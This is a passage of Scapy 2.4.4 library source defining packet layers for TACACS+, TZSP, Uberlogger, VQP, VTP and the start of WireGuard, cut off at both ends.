ByteField('', 0), length_from=lambda pkt: pkt.arg_cnt), StrLenField('user', '', length_from=lambda x: x.user_len), StrLenField('port', '', length_from=lambda x: x.port_len), StrLenField('rem_addr', '', length_from=lambda x: x.rem_addr_len)] # noqa: E501 def guess_payload_class(self, pay): if self.arg_cnt > 0: return TacacsPacketArguments return conf.padding_layer class TacacsAccountingReply(Packet): ''' Tacacs accounting reply body from section 6.2 https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-6.2 ''' name = 'Tacacs Accounting Reply Body' fields_desc = [FieldLenField('server_msg_len', None, fmt='!H', length_of='server_msg'), # noqa: E501 FieldLenField('data_len', None, fmt='!H', length_of='data'), ByteEnumField('status', None, TACACSACNTSTATUS), StrLenField('server_msg', '', length_from=lambda x: x.server_msg_len), # noqa: E501 StrLenField('data', '', length_from=lambda x: x.data_len)] class TacacsPacketArguments(Packet): ''' Class defined to handle the arguments listed at the end of tacacs+ Authorization and Accounting packets. ''' __slots__ = ['_len'] name = 'Arguments in Tacacs+ packet' fields_desc = [StrLenField('data', '', length_from=lambda pkt: pkt._len)] def pre_dissect(self, s): cur = self.underlayer i = 0 # Searching the position in layer in order to get its length while isinstance(cur, TacacsPacketArguments): cur = cur.underlayer i += 1 self._len = cur.arg_len_list[i] return s def guess_payload_class(self, pay): cur = self.underlayer i = 0 # Guessing if Argument packet. Nothing in encapsulated via tacacs+ while isinstance(cur, TacacsPacketArguments): cur = cur.underlayer i += 1 if i + 1 < cur.arg_cnt: return TacacsPacketArguments return conf.padding_layer class TacacsClientPacket(Packet): ''' Super class for tacacs packet in order to get them unencrypted Obfuscation methodology from section 3.7 https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-3.7 ''' def post_dissect(self, pay): if self.flags == 0: pay = obfuscate(pay, SECRET, self.session_id, self.version, self.seq) # noqa: E501 return pay class TacacsHeader(TacacsClientPacket): ''' Tacacs Header packet from section 3.8 https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-3.8 ''' name = 'Tacacs Header' fields_desc = [ByteEnumField('version', 192, TACACSVERSION), ByteEnumField('type', 1, TACACSTYPE), ByteField('seq', 1), ByteEnumField('flags', 0, TACACSFLAGS), IntField('session_id', 0), IntField('length', None)] def guess_payload_class(self, payload): # Guessing packet type from type and seq values # Authentication packet - type 1 if self.type == 1: if self.seq % 2 == 0: return TacacsAuthenticationReply if sum(struct.unpack('bbbb', payload[4:8])) == len(payload[8:]): return TacacsAuthenticationStart elif sum(struct.unpack('!hh', payload[:4])) == len(payload[5:]): return TacacsAuthenticationContinue # Authorization packet - type 2 if self.type == 2: if self.seq % 2 == 0: return TacacsAuthorizationReply return TacacsAuthorizationRequest # Accounting packet - type 3 if self.type == 3: if self.seq % 2 == 0: return TacacsAccountingReply return TacacsAccountingRequest return conf.raw_layer def post_build(self, p, pay): # Setting length of packet to obfuscate if not filled by user if self.length is None and pay: p = p[:-4] + struct.pack('!I', len(pay)) if self.flags == 0: pay = obfuscate(pay, SECRET, self.session_id, self.version, self.seq) # noqa: E501 return p + pay return p def hashret(self): return struct.pack('I', self.session_id) def answers(self, other): return (isinstance(other, TacacsHeader) and self.seq == other.seq + 1 and self.type == other.type and self.session_id == other.session_id) bind_layers(TCP, TacacsHeader, dport=49) bind_layers(TCP, TacacsHeader, sport=49) bind_layers(TacacsHeader, TacacsAuthenticationStart, type=1, dport=49) bind_layers(TacacsHeader, TacacsAuthenticationReply, type=1, sport=49) if __name__ == '__main__': from scapy.main import interact interact(mydict=globals(), mybanner='tacacs+') scapy-2.4.4/scapy/contrib/tzsp.py000066400000000000000000000341141372370053500170010ustar00rootroot00000000000000# scapy.contrib.description = TaZmen Sniffer Protocol (TZSP) # scapy.contrib.status = loads """ TZSP - TaZmen Sniffer Protocol ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ :author: Thomas Tannhaeuser, hecke@naberius.de :license: GPLv2 This module is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This module is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. :description: This module provides Scapy layers for the TZSP protocol. references: - https://en.wikipedia.org/wiki/TZSP - https://web.archive.org/web/20050404125022/http://www.networkchemistry.com/support/appnotes/an001_tzsp.html # noqa: E501 :NOTES: - to allow Scapy to dissect this layer automatically, you need to bind the TZSP layer to UDP using # noqa: E501 the default TZSP port (0x9090), e.g. bind_layers(UDP, TZSP, sport=TZSP_PORT_DEFAULT) bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) - packet format definition from www.networkchemistry.com is different from the one given by wikipedia # noqa: E501 - seems Wireshark implements the wikipedia protocol version (didn't dive into their code) # noqa: E501 - observed (miss)behavior of Wireshark (2.2.6) - fails to decode RSSI & SNR using short values - only one byte taken - SNR is labeled as silence - WlanRadioHdrSerial is labeled as Sensor MAC - doesn't know the packet count tag (40 / 0x28) """ from scapy.compat import orb from scapy.contrib.avs import AVSWLANHeader from scapy.error import warning, Scapy_Exception from scapy.fields import ByteField, ShortEnumField, IntField, FieldLenField, YesNoByteField # noqa: E501 from scapy.layers.dot11 import Packet, Dot11, PrismHeader from scapy.layers.l2 import Ether from scapy.fields import StrLenField, ByteEnumField, ShortField, XStrLenField from scapy.packet import Raw TZSP_PORT_DEFAULT = 0x9090 class TZSP(Packet): TYPE_RX_PACKET = 0x00 TYPE_TX_PACKET = 0x01 TYPE_CONFIG = 0x03 TYPE_KEEPALIVE = TYPE_NULL = 0x04 TYPE_PORT = 0x05 TYPES = { TYPE_RX_PACKET: 'RX_PACKET', TYPE_TX_PACKET: 'TX_PACKET', TYPE_CONFIG: 'CONFIG', TYPE_NULL: 'KEEPALIVE/NULL', TYPE_PORT: 'PORT', } ENCAPSULATED_ETHERNET = 0x01 ENCAPSULATED_IEEE_802_11 = 0x12 ENCAPSULATED_PRISM_HEADER = 0x77 ENCAPSULATED_WLAN_AVS = 0x7f ENCAPSULATED_PROTOCOLS = { ENCAPSULATED_ETHERNET: 'ETHERNET', ENCAPSULATED_IEEE_802_11: 'IEEE 802.11', ENCAPSULATED_PRISM_HEADER: 'PRISM HEADER', ENCAPSULATED_WLAN_AVS: 'WLAN AVS' } ENCAPSULATED_PROTOCOL_CLASSES = { ENCAPSULATED_ETHERNET: Ether, ENCAPSULATED_IEEE_802_11: Dot11, ENCAPSULATED_PRISM_HEADER: PrismHeader, ENCAPSULATED_WLAN_AVS: AVSWLANHeader } fields_desc = [ ByteField('version', 0x01), ByteEnumField('type', TYPE_RX_PACKET, TYPES), ShortEnumField('encapsulated_protocol', ENCAPSULATED_ETHERNET, ENCAPSULATED_PROTOCOLS) # noqa: E501 ] def get_encapsulated_payload_class(self): """ get the class that holds the encapsulated payload of the TZSP packet :return: class representing the payload, Raw() on error """ try: return TZSP.ENCAPSULATED_PROTOCOL_CLASSES[self.encapsulated_protocol] # noqa: E501 except KeyError: warning( 'unknown or invalid encapsulation type (%i) - returning payload as raw()' % self.encapsulated_protocol) # noqa: E501 return Raw def guess_payload_class(self, payload): if self.type == TZSP.TYPE_KEEPALIVE: if len(payload): warning('payload (%i bytes) in KEEPALIVE/NULL packet' % len(payload)) # noqa: E501 return Raw else: return _tzsp_guess_next_tag(payload) def get_encapsulated_payload(self): has_encapsulated_data = self.type == TZSP.TYPE_RX_PACKET or self.type == TZSP.TYPE_TX_PACKET # noqa: E501 if has_encapsulated_data: end_tag_lyr = self.payload.getlayer(TZSPTagEnd) if end_tag_lyr: return end_tag_lyr.payload else: return None def _tzsp_handle_unknown_tag(payload, tag_type): payload_len = len(payload) if payload_len < 2: warning('invalid or unknown tag type (%i) and too short packet - treat remaining data as Raw' % tag_type) # noqa: E501 return Raw tag_data_length = orb(payload[1]) tag_data_fits_in_payload = (tag_data_length + 2) <= payload_len if not tag_data_fits_in_payload: warning('invalid or unknown tag type (%i) and too short packet - treat remaining data as Raw' % tag_type) # noqa: E501 return Raw warning('invalid or unknown tag type (%i)' % tag_type) return TZSPTagUnknown def _tzsp_guess_next_tag(payload): """ :return: class representing the next tag, Raw on error, None on missing payload # noqa: E501 """ if not payload: warning('missing payload') return None tag_type = orb(payload[0]) try: tag_class_definition = _TZSP_TAG_CLASSES[tag_type] except KeyError: return _tzsp_handle_unknown_tag(payload, tag_type) if type(tag_class_definition) is not dict: return tag_class_definition try: length = orb(payload[1]) except IndexError: length = None if not length: warning('no tag length given - packet to short') return Raw try: return tag_class_definition[length] except KeyError: warning('invalid tag length {} for tag type {}'.format(length, tag_type)) # noqa: E501 return Raw class _TZSPTag(Packet): TAG_TYPE_PADDING = 0x00 TAG_TYPE_END = 0x01 TAG_TYPE_RAW_RSSI = 0x0a TAG_TYPE_SNR = 0x0b TAG_TYPE_DATA_RATE = 0x0c TAG_TYPE_TIMESTAMP = 0x0d TAG_TYPE_CONTENTION_FREE = 0x0f TAG_TYPE_DECRYPTED = 0x10 TAG_TYPE_FCS_ERROR = 0x11 TAG_TYPE_RX_CHANNEL = 0x12 TAG_TYPE_PACKET_COUNT = 0x28 TAG_TYPE_RX_FRAME_LENGTH = 0x29 TAG_TYPE_WLAN_RADIO_HDR_SERIAL = 0x3c TAG_TYPES = { TAG_TYPE_PADDING: 'PADDING', TAG_TYPE_END: 'END', TAG_TYPE_RAW_RSSI: 'RAW_RSSI', TAG_TYPE_SNR: 'SNR', TAG_TYPE_DATA_RATE: 'DATA_RATE', TAG_TYPE_TIMESTAMP: 'TIMESTAMP', TAG_TYPE_CONTENTION_FREE: 'CONTENTION_FREE', TAG_TYPE_DECRYPTED: 'DECRYPTED', TAG_TYPE_FCS_ERROR: 'FCS_ERROR', TAG_TYPE_RX_CHANNEL: 'RX_CHANNEL', TAG_TYPE_PACKET_COUNT: 'PACKET_COUNT', TAG_TYPE_RX_FRAME_LENGTH: 'RX_FRAME_LENGTH', TAG_TYPE_WLAN_RADIO_HDR_SERIAL: 'WLAN_RADIO_HDR_SERIAL' } def guess_payload_class(self, payload): return _tzsp_guess_next_tag(payload) class TZSPStructureException(Scapy_Exception): pass class TZSPTagPadding(_TZSPTag): """ padding tag (should be ignored) """ fields_desc = [ ByteEnumField('type', _TZSPTag.TAG_TYPE_PADDING, _TZSPTag.TAG_TYPES), ] class TZSPTagEnd(Packet): """ last tag """ fields_desc = [ ByteEnumField('type', _TZSPTag.TAG_TYPE_END, _TZSPTag.TAG_TYPES), ] def guess_payload_class(self, payload): """ the type of the payload encapsulation is given be the outer TZSP layers attribute encapsulation_protocol # noqa: E501 """ under_layer = self.underlayer tzsp_header = None while under_layer: if isinstance(under_layer, TZSP): tzsp_header = under_layer break under_layer = under_layer.underlayer if tzsp_header: return tzsp_header.get_encapsulated_payload_class() else: raise TZSPStructureException('missing parent TZSP header') class TZSPTagRawRSSIByte(_TZSPTag): """ relative received signal strength - signed byte value """ fields_desc = [ ByteEnumField('type', _TZSPTag.TAG_TYPE_RAW_RSSI, _TZSPTag.TAG_TYPES), ByteField('len', 1), ByteField('raw_rssi', 0) ] class TZSPTagRawRSSIShort(_TZSPTag): """ relative received signal strength - signed short value """ fields_desc = [ ByteEnumField('type', _TZSPTag.TAG_TYPE_RAW_RSSI, _TZSPTag.TAG_TYPES), ByteField('len', 2), ShortField('raw_rssi', 0) ] class TZSPTagSNRByte(_TZSPTag): """ signal noise ratio - signed byte value """ fields_desc = [ ByteEnumField('type', _TZSPTag.TAG_TYPE_SNR, _TZSPTag.TAG_TYPES), ByteField('len', 1), ByteField('snr', 0) ] class TZSPTagSNRShort(_TZSPTag): """ signal noise ratio - signed short value """ fields_desc = [ ByteEnumField('type', _TZSPTag.TAG_TYPE_SNR, _TZSPTag.TAG_TYPES), ByteField('len', 2), ShortField('snr', 0) ] class TZSPTagDataRate(_TZSPTag): """ wireless link data rate """ DATA_RATE_UNKNOWN = 0x00 DATA_RATE_1 = 0x02 DATA_RATE_2 = 0x04 DATA_RATE_5_5 = 0x0B DATA_RATE_6 = 0x0C DATA_RATE_9 = 0x12 DATA_RATE_11 = 0x16 DATA_RATE_12 = 0x18 DATA_RATE_18 = 0x24 DATA_RATE_22 = 0x2C DATA_RATE_24 = 0x30 DATA_RATE_33 = 0x42 DATA_RATE_36 = 0x48 DATA_RATE_48 = 0x60 DATA_RATE_54 = 0x6C DATA_RATE_LEGACY_1 = 0x0A DATA_RATE_LEGACY_2 = 0x14 DATA_RATE_LEGACY_5_5 = 0x37 DATA_RATE_LEGACY_11 = 0x6E DATA_RATES = { DATA_RATE_UNKNOWN: 'unknown', DATA_RATE_1: '1 MB/s', DATA_RATE_2: '2 MB/s', DATA_RATE_5_5: '5.5 MB/s', DATA_RATE_6: '6 MB/s', DATA_RATE_9: '9 MB/s', DATA_RATE_11: '11 MB/s', DATA_RATE_12: '12 MB/s', DATA_RATE_18: '18 MB/s', DATA_RATE_22: '22 MB/s', DATA_RATE_24: '24 MB/s', DATA_RATE_33: '33 MB/s', DATA_RATE_36: '36 MB/s', DATA_RATE_48: '48 MB/s', DATA_RATE_54: '54 MB/s', DATA_RATE_LEGACY_1: '1 MB/s (legacy)', DATA_RATE_LEGACY_2: '2 MB/s (legacy)', DATA_RATE_LEGACY_5_5: '5.5 MB/s (legacy)', DATA_RATE_LEGACY_11: '11 MB/s (legacy)', } fields_desc = [ ByteEnumField('type', _TZSPTag.TAG_TYPE_DATA_RATE, _TZSPTag.TAG_TYPES), ByteField('len', 1), ByteEnumField('data_rate', DATA_RATE_UNKNOWN, DATA_RATES) ] class TZSPTagTimestamp(_TZSPTag): """ MAC receive timestamp """ fields_desc = [ ByteEnumField('type', _TZSPTag.TAG_TYPE_TIMESTAMP, _TZSPTag.TAG_TYPES), ByteField('len', 4), IntField('timestamp', 0) ] class TZSPTagContentionFree(_TZSPTag): """ packet received in contention free period """ NO = 0x00 YES = 0x01 fields_desc = [ ByteEnumField('type', _TZSPTag.TAG_TYPE_CONTENTION_FREE, _TZSPTag.TAG_TYPES), # noqa: E501 ByteField('len', 1), YesNoByteField('contention_free', NO) ] class TZSPTagDecrypted(_TZSPTag): """ packet was decrypted """ YES = 0x00 NO = 0x01 fields_desc = [ ByteEnumField('type', _TZSPTag.TAG_TYPE_DECRYPTED, _TZSPTag.TAG_TYPES), ByteField('len', 1), YesNoByteField('decrypted', NO, config={'yes': YES, 'no': (NO, 0xff)}) ] class TZSPTagError(_TZSPTag): """ frame checksum error """ NO = 0x00 YES = 0x01 fields_desc = [ ByteEnumField('type', _TZSPTag.TAG_TYPE_FCS_ERROR, _TZSPTag.TAG_TYPES), ByteField('len', 1), YesNoByteField('fcs_error', NO, config={'no': NO, 'yes': YES, 'reserved': (YES + 1, 0xff)}) # noqa: E501 ] class TZSPTagRXChannel(_TZSPTag): """ channel the sensor was on while receiving the frame """ fields_desc = [ ByteEnumField('type', _TZSPTag.TAG_TYPE_RX_CHANNEL, _TZSPTag.TAG_TYPES), # noqa: E501 ByteField('len', 1), ByteField('rx_channel', 0) ] class TZSPTagPacketCount(_TZSPTag): """ packet counter """ fields_desc = [ ByteEnumField('type', _TZSPTag.TAG_TYPE_PACKET_COUNT, _TZSPTag.TAG_TYPES), # noqa: E501 ByteField('len', 4), IntField('packet_count', 0) ] class TZSPTagRXFrameLength(_TZSPTag): """ received packet length """ fields_desc = [ ByteEnumField('type', _TZSPTag.TAG_TYPE_RX_FRAME_LENGTH, _TZSPTag.TAG_TYPES), # noqa: E501 ByteField('len', 2), ShortField('rx_frame_length', 0) ] class TZSPTagWlanRadioHdrSerial(_TZSPTag): """ (vendor specific) unique capture device (sensor/AP) identifier """ fields_desc = [ ByteEnumField('type', _TZSPTag.TAG_TYPE_WLAN_RADIO_HDR_SERIAL, _TZSPTag.TAG_TYPES), # noqa: E501 FieldLenField('len', None, length_of='sensor_id', fmt='b'), StrLenField('sensor_id', '', length_from=lambda pkt:pkt.len) ] class TZSPTagUnknown(_TZSPTag): """ unknown tag type dummy """ fields_desc = [ ByteField('type', 0xff), FieldLenField('len', None, length_of='data', fmt='b'), XStrLenField('data', '', length_from=lambda pkt: pkt.len) ] _TZSP_TAG_CLASSES = { _TZSPTag.TAG_TYPE_PADDING: TZSPTagPadding, _TZSPTag.TAG_TYPE_END: TZSPTagEnd, _TZSPTag.TAG_TYPE_RAW_RSSI: {1: TZSPTagRawRSSIByte, 2: TZSPTagRawRSSIShort}, # noqa: E501 _TZSPTag.TAG_TYPE_SNR: {1: TZSPTagSNRByte, 2: TZSPTagSNRShort}, _TZSPTag.TAG_TYPE_DATA_RATE: TZSPTagDataRate, _TZSPTag.TAG_TYPE_TIMESTAMP: TZSPTagTimestamp, _TZSPTag.TAG_TYPE_CONTENTION_FREE: TZSPTagContentionFree, _TZSPTag.TAG_TYPE_DECRYPTED: TZSPTagDecrypted, _TZSPTag.TAG_TYPE_FCS_ERROR: TZSPTagError, _TZSPTag.TAG_TYPE_RX_CHANNEL: TZSPTagRXChannel, _TZSPTag.TAG_TYPE_PACKET_COUNT: TZSPTagPacketCount, _TZSPTag.TAG_TYPE_RX_FRAME_LENGTH: TZSPTagRXFrameLength, _TZSPTag.TAG_TYPE_WLAN_RADIO_HDR_SERIAL: TZSPTagWlanRadioHdrSerial } scapy-2.4.4/scapy/contrib/ubberlogger.py000066400000000000000000000103321372370053500202740ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # Author: Sylvain SARMEJEANNE # scapy.contrib.description = Ubberlogger dissectors # scapy.contrib.status = loads from scapy.packet import Packet, bind_layers from scapy.fields import ByteEnumField, ByteField, IntField, ShortField # Syscalls known by Uberlogger uberlogger_sys_calls = {0: "READ_ID", 1: "OPEN_ID", 2: "WRITE_ID", 3: "CHMOD_ID", 4: "CHOWN_ID", 5: "SETUID_ID", 6: "CHROOT_ID", 7: "CREATE_MODULE_ID", 8: "INIT_MODULE_ID", 9: "DELETE_MODULE_ID", 10: "CAPSET_ID", 11: "CAPGET_ID", 12: "FORK_ID", 13: "EXECVE_ID"} # First part of the header class Uberlogger_honeypot_caract(Packet): name = "Uberlogger honeypot_caract" fields_desc = [ByteField("honeypot_id", 0), ByteField("reserved", 0), ByteField("os_type_and_version", 0)] # Second part of the header class Uberlogger_uber_h(Packet): name = "Uberlogger uber_h" fields_desc = [ByteEnumField("syscall_type", 0, uberlogger_sys_calls), IntField("time_sec", 0), IntField("time_usec", 0), IntField("pid", 0), IntField("uid", 0), IntField("euid", 0), IntField("cap_effective", 0), IntField("cap_inheritable", 0), IntField("cap_permitted", 0), IntField("res", 0), IntField("length", 0)] # The 9 following classes are options depending on the syscall type class Uberlogger_capget_data(Packet): name = "Uberlogger capget_data" fields_desc = [IntField("target_pid", 0)] class Uberlogger_capset_data(Packet): name = "Uberlogger capset_data" fields_desc = [IntField("target_pid", 0), IntField("effective_cap", 0), IntField("permitted_cap", 0), IntField("inheritable_cap", 0)] class Uberlogger_chmod_data(Packet): name = "Uberlogger chmod_data" fields_desc = [ShortField("mode", 0)] class Uberlogger_chown_data(Packet): name = "Uberlogger chown_data" fields_desc = [IntField("uid", 0), IntField("gid", 0)] class Uberlogger_open_data(Packet): name = "Uberlogger open_data" fields_desc = [IntField("flags", 0), IntField("mode", 0)] class Uberlogger_read_data(Packet): name = "Uberlogger read_data" fields_desc = [IntField("fd", 0), IntField("count", 0)] class Uberlogger_setuid_data(Packet): name = "Uberlogger setuid_data" fields_desc = [IntField("uid", 0)] class Uberlogger_create_module_data(Packet): name = "Uberlogger create_module_data" fields_desc = [IntField("size", 0)] class Uberlogger_execve_data(Packet): name = "Uberlogger execve_data" fields_desc = [IntField("nbarg", 0)] # Layer bounds for Uberlogger bind_layers(Uberlogger_honeypot_caract, Uberlogger_uber_h) bind_layers(Uberlogger_uber_h, Uberlogger_capget_data) bind_layers(Uberlogger_uber_h, Uberlogger_capset_data) bind_layers(Uberlogger_uber_h, Uberlogger_chmod_data) bind_layers(Uberlogger_uber_h, Uberlogger_chown_data) bind_layers(Uberlogger_uber_h, Uberlogger_open_data) bind_layers(Uberlogger_uber_h, Uberlogger_read_data) bind_layers(Uberlogger_uber_h, Uberlogger_setuid_data) bind_layers(Uberlogger_uber_h, Uberlogger_create_module_data) bind_layers(Uberlogger_uber_h, Uberlogger_execve_data) scapy-2.4.4/scapy/contrib/vqp.py000066400000000000000000000052011372370053500166020ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # scapy.contrib.description = VLAN Query Protocol # scapy.contrib.status = loads import struct from scapy.packet import Packet, bind_layers from scapy.fields import ByteEnumField, ByteField, ConditionalField, \ FieldLenField, IntEnumField, IntField, IPField, MACField, StrLenField from scapy.layers.inet import UDP class VQP(Packet): name = "VQP" fields_desc = [ ByteField("const", 1), ByteEnumField("type", 1, { 1: "requestPort", 2: "responseVLAN", 3: "requestReconfirm", 4: "responseReconfirm" }), ByteEnumField("errorcodeaction", 0, { 0: "none", 3: "accessDenied", 4: "shutdownPort", 5: "wrongDomain" }), ByteEnumField("unknown", 2, { 2: "inGoodResponse", 6: "inRequests" }), IntField("seq", 0), ] class VQPEntry(Packet): name = "VQPEntry" fields_desc = [ IntEnumField("datatype", 0, { 3073: "clientIPAddress", 3074: "portName", 3075: "VLANName", 3076: "Domain", 3077: "ethernetPacket", 3078: "ReqMACAddress", 3079: "unknown", 3080: "ResMACAddress" }), FieldLenField("len", None), ConditionalField(IPField("datatom", "0.0.0.0"), lambda p: p.datatype == 3073), ConditionalField(MACField("data", "00:00:00:00:00:00"), lambda p: p.datatype == 3078), ConditionalField(MACField("data", "00:00:00:00:00:00"), lambda p: p.datatype == 3080), ConditionalField(StrLenField("data", None, length_from=lambda p: p.len), lambda p: p.datatype not in [3073, 3078, 3080]), ] def post_build(self, p, pay): if self.len is None: tmp_len = len(p.data) p = p[:2] + struct.pack("!H", tmp_len) + p[4:] return p bind_layers(UDP, VQP, sport=1589) bind_layers(UDP, VQP, dport=1589) bind_layers(VQP, VQPEntry,) bind_layers(VQPEntry, VQPEntry,) scapy-2.4.4/scapy/contrib/vtp.py000066400000000000000000000146561372370053500166230ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # scapy.contrib.description = VLAN Trunking Protocol (VTP) # scapy.contrib.status = loads r""" VTP Scapy Extension ~~~~~~~~~~~~~~~~~~~~~ :version: 2009-02-15 :copyright: 2009 by Jochen Bartl :e-mail: lobo@c3a.de / jochen.bartl@gmail.com :license: GPL v2 This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. :TODO: - Join messages - RE MD5 hash calculation - Have a closer look at 8 byte padding in summary adv: "debug sw-vlan vtp packets" says the TLV length is invalid, when I change the values: ``b'\x00\x00\x00\x01\x06\x01\x00\x02'`` * \x00\x00 ? * \x00\x01 tlvtype? * \x06 length? * \x00\x02 value? - h2i function for VTPTimeStampField :References: - | Understanding VLAN Trunk Protocol (VTP) | http://www.cisco.com/en/US/tech/tk389/tk689/technologies_tech_note09186a0080094c52.shtml # noqa: E501 """ from scapy.packet import Packet, bind_layers from scapy.fields import ByteEnumField, ByteField, ConditionalField, \ FieldLenField, IPField, PacketListField, ShortField, SignedIntField, \ StrFixedLenField, StrLenField, XIntField from scapy.layers.l2 import SNAP from scapy.compat import chb from scapy.config import conf _VTP_VLAN_TYPE = { 1: 'Ethernet', 2: 'FDDI', 3: 'TrCRF', 4: 'FDDI-net', 5: 'TrBRF' } _VTP_VLANINFO_TLV_TYPE = { 0x01: 'Source-Routing Ring Number', 0x02: 'Source-Routing Bridge Number', 0x03: 'Spanning-Tree Protocol Type', 0x04: 'Parent VLAN', 0x05: 'Translationally Bridged VLANs', 0x06: 'Pruning', 0x07: 'Bridge Type', 0x08: 'Max ARE Hop Count', 0x09: 'Max STE Hop Count', 0x0A: 'Backup CRF Mode' } class VTPVlanInfoTlv(Packet): name = "VTP VLAN Info TLV" fields_desc = [ ByteEnumField("type", 0, _VTP_VLANINFO_TLV_TYPE), ByteField("length", 0), StrLenField("value", None, length_from=lambda pkt: pkt.length + 1) ] def guess_payload_class(self, p): return conf.padding_layer class VTPVlanInfo(Packet): name = "VTP VLAN Info" fields_desc = [ ByteField("len", None), ByteEnumField("status", 0, {0: "active", 1: "suspended"}), ByteEnumField("type", 1, _VTP_VLAN_TYPE), FieldLenField("vlannamelen", None, "vlanname", "B"), ShortField("vlanid", 1), ShortField("mtu", 1500), XIntField("dot10index", None), StrLenField("vlanname", "default", length_from=lambda pkt: 4 * ((pkt.vlannamelen + 3) // 4)), ConditionalField( PacketListField( "tlvlist", [], VTPVlanInfoTlv, length_from=lambda pkt: pkt.len - 12 - (4 * ((pkt.vlannamelen + 3) // 4)) # noqa: E501 ), lambda pkt:pkt.type not in [1, 2] ) ] def post_build(self, p, pay): vlannamelen = 4 * ((len(self.vlanname) + 3) // 4) if self.len is None: tmp_len = vlannamelen + 12 p = chb(tmp_len & 0xff) + p[1:] # Pad vlan name with zeros if vlannamelen > len(vlanname) tmp_len = vlannamelen - len(self.vlanname) if tmp_len != 0: p += b"\x00" * tmp_len p += pay return p def guess_payload_class(self, p): return conf.padding_layer _VTP_Types = { 1: 'Summary Advertisement', 2: 'Subset Advertisements', 3: 'Advertisement Request', 4: 'Join' } class VTPTimeStampField(StrFixedLenField): def __init__(self, name, default): StrFixedLenField.__init__(self, name, default, 12) def i2repr(self, pkt, x): return "%s-%s-%s %s:%s:%s" % (x[:2], x[2:4], x[4:6], x[6:8], x[8:10], x[10:12]) # noqa: E501 class VTP(Packet): name = "VTP" fields_desc = [ ByteField("ver", 2), ByteEnumField("code", 1, _VTP_Types), ConditionalField(ByteField("followers", 1), lambda pkt:pkt.code == 1), ConditionalField(ByteField("seq", 1), lambda pkt:pkt.code == 2), ConditionalField(ByteField("reserved", 0), lambda pkt:pkt.code == 3), ByteField("domnamelen", None), StrFixedLenField("domname", "manbearpig", 32), ConditionalField(SignedIntField("rev", 0), lambda pkt:pkt.code == 1 or pkt.code == 2), # updater identity ConditionalField(IPField("uid", "192.168.0.1"), lambda pkt:pkt.code == 1), ConditionalField(VTPTimeStampField("timestamp", '930301000000'), lambda pkt:pkt.code == 1), ConditionalField(StrFixedLenField("md5", b"\x00" * 16, 16), lambda pkt:pkt.code == 1), ConditionalField( PacketListField("vlaninfo", [], VTPVlanInfo), lambda pkt: pkt.code == 2), ConditionalField(ShortField("startvalue", 0), lambda pkt:pkt.code == 3) ] def post_build(self, p, pay): if self.domnamelen is None: domnamelen = len(self.domname.strip(b"\x00")) p = p[:3] + chb(domnamelen & 0xff) + p[4:] p += pay return p bind_layers(SNAP, VTP, code=0x2003) if __name__ == '__main__': from scapy.main import interact interact(mydict=globals(), mybanner="VTP") scapy-2.4.4/scapy/contrib/wireguard.py000066400000000000000000000056771372370053500200060ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # scapy.contrib.description = WireGuard # scapy.contrib.status = loads """WireGuard Module Implements the WireGuard network tunnel protocol. Based on the whitepaper: https://www.wireguard.com/papers/wireguard.pdf """ from scapy.fields import ByteEnumField, ThreeBytesField, XLEIntField, \ XStrFixedLenField, XLELongField, XStrField from scapy.layers.inet import UDP from scapy.packet import Packet, bind_layers class Wireguard(Packet): """ Wrapper that only contains the message type. """ name = "Wireguard" fields_desc = [ ByteEnumField( "message_type", 1, { 1: "initiate", 2: "respond", 3: "cookie reply", 4: "transport" } ), ThreeBytesField("reserved_zero", 0) ] class WireguardInitiation(Packet): name = "Wireguard Initiation" fields_desc = [ XLEIntField("sender_index", 0), XStrFixedLenField("unencrypted_ephemeral", 0, 32), XStrFixedLenField("encrypted_static", 0, 48), XStrFixedLenField("encrypted_timestamp", 0, 28), XStrFixedLenField("mac1", 0, 16), XStrFixedLenField("mac2", 0, 16), ] class WireguardResponse(Packet): name = "Wireguard Response" fields_desc = [ XLEIntField("sender_index", 0), XLEIntField("receiver_index", 0), XStrFixedLenField("unencrypted_ephemeral", 0, 32), XStrFixedLenField("encrypted_nothing", 0, 16), 